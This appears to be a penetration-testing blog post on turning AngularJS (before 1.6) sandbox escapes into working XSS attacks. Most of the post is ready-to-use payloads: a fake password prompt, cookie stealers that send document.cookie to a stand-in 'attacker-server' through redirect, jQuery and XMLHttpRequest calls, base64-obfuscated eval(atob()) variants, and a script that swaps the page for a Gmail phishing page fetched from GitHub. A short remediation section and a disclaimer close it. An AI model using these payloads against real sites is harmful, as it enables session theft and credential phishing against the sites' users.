Weaponising AngularJS Sandbox Bypasses

AngularJS (Angular) is a renowned JavaScript-based open-source web framework used for front end programming. Angular is mainly used for developing single page applications using Model View Controller (MVC) and Model View Viewmodel (MVVM) architectures.

This blog post mainly displays ways to weaponise existing Angular sandbox escapes. Note that from Angular 1.6 and onwards, the Angular sandbox has been removed. This change made the framework code faster, smaller, and easier to maintain. The main reason behind the removal of this feature was the number of bypasses identified by security researchers.

For the remainder of this post, we assume the attacker has already identified an XSS vulnerability and is attempting to further exploit this flaw for profit. This blog is for educational purposes only. Do not attempt any of the below exploits against systems you are not authorised to.

Verifying XSS

A typical XSS payload within Angular (< 1.6) is the following:

{{ 7 * 7 }}

Should the payload successfully evaluate, a “49” will be visible in place of the payload.

The Sandbox Escapes

Now that the XSS has been confirmed, we use a common sandbox escape. For the sake of this demo, we will be using a sandbox escape affecting Angular v1.4.0 — v1.4.9. This sandbox was identified by Gareth Heyes of PortSwigger. Below is the sandbox escape:

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

Below is a screenshot of the sandbox escape running, triggering alert(1):

Triggering alert(1)

We can now replace the ‘alert(1)’ with any other JavaScript function. For example, we can create a prompt, asking for a password, using the following payload:

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };prompt("Please enter your password:")//');}}
Triggering prompt

Cookie Loggers

Cookies are generally used for authentication. Many websites use them to identify users. If a session cookie does not contain the HTTPOnly flag, JavaScript can fetch the cookie from within the browser. Our next section will leverage ‘document.cookie’ to gain access to a cookie and send it back to a server controlled by the attacker.

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };document.location="http://attacker-server/?"+document.cookie//');}}

From a usability perspective, the above payload is completely atrocious! It redirects the browser page to the attacker’s server, which is obvious that something went wrong to users. A better way of doing it is using AJAX calls (leveraging jQuery), such as the payload below:

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };$.get("http://attacker-server/?"+document.cookie)//');}}

In some cases, the version of jQuery used within page doesn’t process properly, in which case performing AJAX requests in pure JavaScript is the next best option. That can be performed using the following payload:

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://attacker-server/?"+document.cookie, true); xhttp.send();//');}}

In an attempt to avoid having all JavaScript code on a single line, we can base64 encode this payload. This also aids in executing complex JavaScript code without having to worry about keeping track of how it fits into the Angular sandbox escape. Below is the same AJAX request in pure JavaScript with base64 encoding:

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob("dmFyIHhodHRwPW5ldyBYTUxIdHRwUmVxdWVzdCgpO3hodHRwLm9wZW4oIkdFVCIsICJodHRwOi8vYXR0YWNrZXItc2VydmVyLz8iK2RvY3VtZW50LmNvb2tpZSwgdHJ1ZSk7IHhodHRwLnNlbmQoKTs")) //');}}

For this example, we used ‘atob’ to base64 decode the payload on the fly, and eval to then execute it.

Page Redress

Our final task for this blog post is performing page redressing into a phishing page, using the Angular sandbox. Usually, depending on our clients, we try to redress the page to the email service they use (can usually be identified easily using Open Source Intelligence), or the login page of their own website. Since most modern pages require a significant amount of code to display aesthetically (few hundred kilobytes), our raw payload will be far too large. Instead we can use the sandbox escape to perform an AJAX request, which loads the code into a variable and then redresses the page.

To make this process a little bit easier, I wrote a few functions which can be easily reused. These functions are given below:

function change(html){
document.body.innerHTML=html;
};
function load(url, callback) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
callback(xhr.response);
}
};
xhr.open('GET', url, true);
xhr.send('');
};
load("https://raw.githubusercontent.com/ashanahw/Gmail_Phishing/master/index.php", change);

An attacker can then easily base64 encode the above payload and place within the ‘eval(atob(‘ of the Angular sandbox escape payload, as displayed below:

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob("ZnVuY3Rpb24gY2hhbmdlKGh0bWwpew0KCWRvY3VtZW50LmJvZHkuaW5uZXJIVE1MPWh0bWw7DQp9Ow0KZnVuY3Rpb24gbG9hZCh1cmwsIGNhbGxiYWNrKSB7DQoJdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KCXhoci5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHsNCgkJaWYgKHhoci5yZWFkeVN0YXRlID09PSA0KSB7DQoJCQljYWxsYmFjayh4aHIucmVzcG9uc2UpOw0KCQl9DQoJfTsgDQoJeGhyLm9wZW4oJ0dFVCcsIHVybCwgdHJ1ZSk7DQoJeGhyLnNlbmQoJycpOw0KfTsgDQpsb2FkKCJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYXNoYW5haHcvR21haWxfUGhpc2hpbmcvbWFzdGVyL2luZGV4LnBocCIsIGNoYW5nZSk7"));//');}}
Page redressed to the Google login page

Remediation

Since AngularJS no longer uses the sandbox in the latest versions of the framework (≥1.6), simply updating the version of Angular mitigates any kind of sandbox escapes. Please note that simply using a framework like AngularJS and using security headers do not protect you from Cross-Site Scripting (XSS) attacks! Always sanitise user input!

Conclusion

While actually attempting to weaponise Angular sandbox escapes, I found that it is best not to depend on jQuery. In most cases, it will work smoothly, however in some cases, things break and exploits stop working. Also, if you use pure JavaScript, you do not depend on the version of the library in use, ensuring that a jQuery update does not render your exploit useless. Hope this post was useful and if you have any feedback, please feel free to reach out!

References

Sandbox escapes:

https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs

Gmail phishing page: https://raw.githubusercontent.com/ashanahw/Gmail_Phishing/master/index.php